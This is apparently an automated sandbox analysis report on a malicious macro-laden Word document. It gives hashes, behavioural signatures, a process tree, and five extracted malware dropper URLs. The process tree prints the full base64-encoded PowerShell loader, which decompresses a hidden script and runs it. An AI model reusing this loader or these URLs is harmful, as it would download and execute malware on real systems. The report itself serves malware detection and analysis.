Analysis

  • max time kernel
    106s
  • max time network
    49s
  • platform
    windows7_x64
  • resource
    win7-20220715-en
  • resource tags

    arch:x64arch:x86image:win7-20220715-enlocale:en-usos:windows7-x64system
  • submitted
    25-07-2022 04:03

General

  • Target

    87d748238573658dc6e3fbebafafa3e22006d4f73e6ed60197b70f94d7d662ac.doc

  • Size

    241KB

  • MD5

    3ca3bf6763dc76242936968a4a404e69

  • SHA1

    4fbeb739a5c2bc167a276bced5c050f08049d6c6

  • SHA256

    87d748238573658dc6e3fbebafafa3e22006d4f73e6ed60197b70f94d7d662ac

  • SHA512

    50ecafc6bfe0b45909ebefee247807c2ef1f9ac40816c39206aa984750da76c5022dc9a76f33783d9b19905b679f3053219936a2b968355d821930b4608c9065

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://turningspeech.com/rm44r5z/usg/

exe.dropper

http://zarabianiegeorge.cba.pl/images/JN/

exe.dropper

http://strugglingcreative.com/wp-content/M0K/

exe.dropper

https://vesperia.id/wp-content/TO/

exe.dropper

http://rossairey.com/images/hf/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\87d748238573658dc6e3fbebafafa3e22006d4f73e6ed60197b70f94d7d662ac.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:856
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1756
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e KAAgAE4AZQB3AC0ATwBiAEoAZQBjAHQAIABJAG8ALgBjAG8AbQBwAHIARQBTAFMASQBvAE4ALgBEAEUARgBMAEEAVABlAHMAdABSAGUAQQBNACgAIABbAEkATwAuAG0ARQBtAG8AUgB5AHMAVAByAGUAQQBNAF0AIABbAHMAWQBzAHQAZQBNAC4AYwBvAG4AVgBFAFIAVABdADoAOgBGAHIAbwBtAEIAQQBzAGUANgA0AFMAdABSAEkAbgBHACgAIAAoACcAWABaAEoAJwArACcAUgBhADkAcwB3ACcAKwAnAEYASQBYACcAKwAnAC8AJwArACcAaQBoADQATQBTAHMAaABpAE4AOAAnACsAJwBWAGoAVQAnACsAJwBHAFAAJwArACcAbwBqAGIAJwArACcAVQBaACcAKwAnAHQANgB6ACcAKwAnAEQAcgBHACcAKwAnAGEAYgBHAFEAJwArACcAUgAnACsAJwBiACcAKwAnAHYAYgBGACcAKwAnAFYAJwArACcAMgA1ACcAKwAnAEsAUgBsAGQAaAB0ACcAKwAnAHkASAArAGYAMQBpACcAKwAnAFcAaABUAEkAKwBYAGoAMwBQAE8AUABWAGYAJwArACcATwBMAHoAOQBqAEUANABTAFUAcAB5AHcASABSACcAKwAnAGcATwBIAEEAWQBNADEAaABCAEwASABwAFMAJwArACcAcQBmAGsAUgB2AHkAZwBNACcAKwAnAGIAJwArACcAOQBnACcAKwAnAFcAWAAnACsAJwBVAEMAcABRAG0AYwBEADQAcgBBAEcAQgBwACcAKwAnAFMARwB0AGoAJwArACcAKwBoACcAKwAnAHYAUABNAHoAJwArACcAcwB0AGgAYQB5AEcAJwArACcASABwAEgAWABMAGwAJwArACcAZQBkAHAAegB2AGYAMQB4ADkAJwArACcAZgB2ACcAKwAnAGQAMQBRAGUAYgBjAG4ANgAnACsAJwByACcAKwAnAFgAUQBSACcAKwAnAFMAawBLAEsAYgBCAEMAcABTACcAKwAnAHQAMAAnACsAJwBlAFYAbQA0AGYAZQB1AEoAcgBxAGgAJwArACcAdwA4AE8ANABlAEwAJwArACcAdQBSACcAKwAnAGcAOQAnACsAJwBLADYAJwArACcAcQAnACsAJwBXAGkAJwArACcAdgBKAE4AUgBaACcAKwAnAEcANwBQAEYATgBkAE8AeQAnACsAJwBYAFgARQAnACsAJwBsAGoASQAnACsAJwAzAGgAZgAnACsAJwByACsANwAvACcAKwAnADAAJwArACcAWQBQACcAKwAnAEYAOQAyAGkAZAAnACsAJwB0ACcAKwAnAFMAJwArACcAaAAnACsAJwBjACcAKwAnADgAZgBTAGUAZQBmAHgAMgBFAGQAUgAnACsAJwBxACcAKwAnAEcAJwArACcAQQBxAGgAOABlAFYATgA1ADIAJwArACcAUgAnACsAJwBZAGIAegAnACsAJwAzAHEAJwArACcAZgB1ADkAYgBZACcAKwAnAFcAYgAnACsAJwAwAGwAcwA0ACcAKwAnAEQAQgAyAEQAVAByAEoAbwA4AHAAQgAnACsAJwBIADcAdQAxADkAdQBxACsAZwAyAGsAJwArACcASABNACcAKwAnAEEARQAnACsAJwBoAEoAJwArACcANgAvAGUAbgBhAEQAcAAnACsAJwBJADAANQBSAEMAJwArACcASAB0AEoAdwBnACcAKwAnAFoAdAAnACsAJwBEAFkAeQBSADEATQBMAEYAcgBEAEsAbgAnACsAJwBSAFEANwBtADkAMgBBACsAcAAnACsAJwBlAHEANgAxAG8AYwAnACsAJwBVAEYALwAwADgAVgAnACsAJwBaAFkAVQAnACsAJwBGAGQAJwArACcAbgBKAEEARwBXADIAVQAzACcAKwAnADQAdgBYAE0AUwBWACcAKwAnAGYAYwBsAGsAeQBFAEoATwBjACcAKwAnADYANQB3AGUAJwArACcAagBYACcAKwAnAHcAJwArACcANgBuACcAKwAnADkAbAAyACcAKwAnAG0AJwArACcAUgAnACsAJwB0AG0AcQA0AHUAbQBMAFYAVAAnACsAJwByACcAKwAnAFQASAA4AGoARgB6ACcAKwAnAGMAJwArACcAWgBOAGYAcQA2ACcAKwAnAGgAaQBUAE0AZQAwAHYAcwB4ADgAOABjAEkAVQBoACcAKwAnAG8AawBXAHoAJwArACcASwBiAHgAJwArACcAVwBpAFcAaQBjACcAKwAnAEgAdQBIAGUAMgAyAEsAQwB0AFQAawAyAFcARgAnACsAJwB4AEwAKwB5AGIAMAA0AE8AaQBkAHkAcgBCAHYAJwArACcAOAAnACsAJwBqADcAZgBYAGoAVABaAFoARwAnACsAJwBJAFgAMwAnACsAJwBrAFUAMgBaADcAcwBCACsAaQAnACsAJwB0ACcAKwAnAEoARwBiADQASABqAGsAaAAnACsAJwBlACcAKwAnAEgAMQA0AFgAJwArACcAaAAwACcAKwAnAEkAcwBZAG0AJwArACcAUAAnACsAJwA4ACcAKwAnADUAJwArACcAWQBTAEoAOABCAHMAagB5AHoAeABuACcAKwAnADgAJwArACcAQQAnACkAIAApACAALAAgAFsAUwB5AFMAdABFAG0ALgBJAG8ALgBjAG8AbQBQAHIAZQBzAHMAaQBPAE4ALgBDAG8ATQBQAFIAZQBTAHMAaQBvAE4ATQBvAEQARQBdADoAOgBEAEUAQwBPAG0AUAByAEUAcwBTACkAfAAgACUAewAgAE4AZQB3AC0ATwBiAEoAZQBjAHQAIAAgAGkATwAuAHMAdABSAGUAQQBtAFIARQBBAEQARQBSACgAJABfACAALAAgAFsAVABlAFgAdAAuAEUAbgBDAG8ARABpAG4AZwBdADoAOgBBAFMAYwBJAEkAIAApAH0AfAAgACUAIAB7ACAAJABfAC4AUgBFAGEARABUAE8AZQBuAEQAKAAgACkAfQAgACkAfAAgAGkATgBWAE8AawBFAC0ARQBYAHAAUgBFAFMAUwBpAG8AbgA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:940

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/856-54-0x0000000072A31000-0x0000000072A34000-memory.dmp

      Filesize

      12KB

    • memory/856-55-0x00000000704B1000-0x00000000704B3000-memory.dmp

      Filesize

      8KB

    • memory/856-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/856-57-0x0000000075321000-0x0000000075323000-memory.dmp

      Filesize

      8KB

    • memory/856-70-0x000000007149D000-0x00000000714A8000-memory.dmp

      Filesize

      44KB

    • memory/856-59-0x000000007149D000-0x00000000714A8000-memory.dmp

      Filesize

      44KB

    • memory/856-69-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/856-68-0x000000007149D000-0x00000000714A8000-memory.dmp

      Filesize

      44KB

    • memory/940-67-0x00000000022EB000-0x000000000230A000-memory.dmp

      Filesize

      124KB

    • memory/940-63-0x000007FEF3890000-0x000007FEF43ED000-memory.dmp

      Filesize

      11.4MB

    • memory/940-65-0x00000000022EB000-0x000000000230A000-memory.dmp

      Filesize

      124KB

    • memory/940-66-0x00000000022E4000-0x00000000022E7000-memory.dmp

      Filesize

      12KB

    • memory/940-64-0x00000000022E4000-0x00000000022E7000-memory.dmp

      Filesize

      12KB

    • memory/940-62-0x000007FEF43F0000-0x000007FEF4E13000-memory.dmp

      Filesize

      10.1MB

    • memory/1756-60-0x000007FEFC031000-0x000007FEFC033000-memory.dmp

      Filesize

      8KB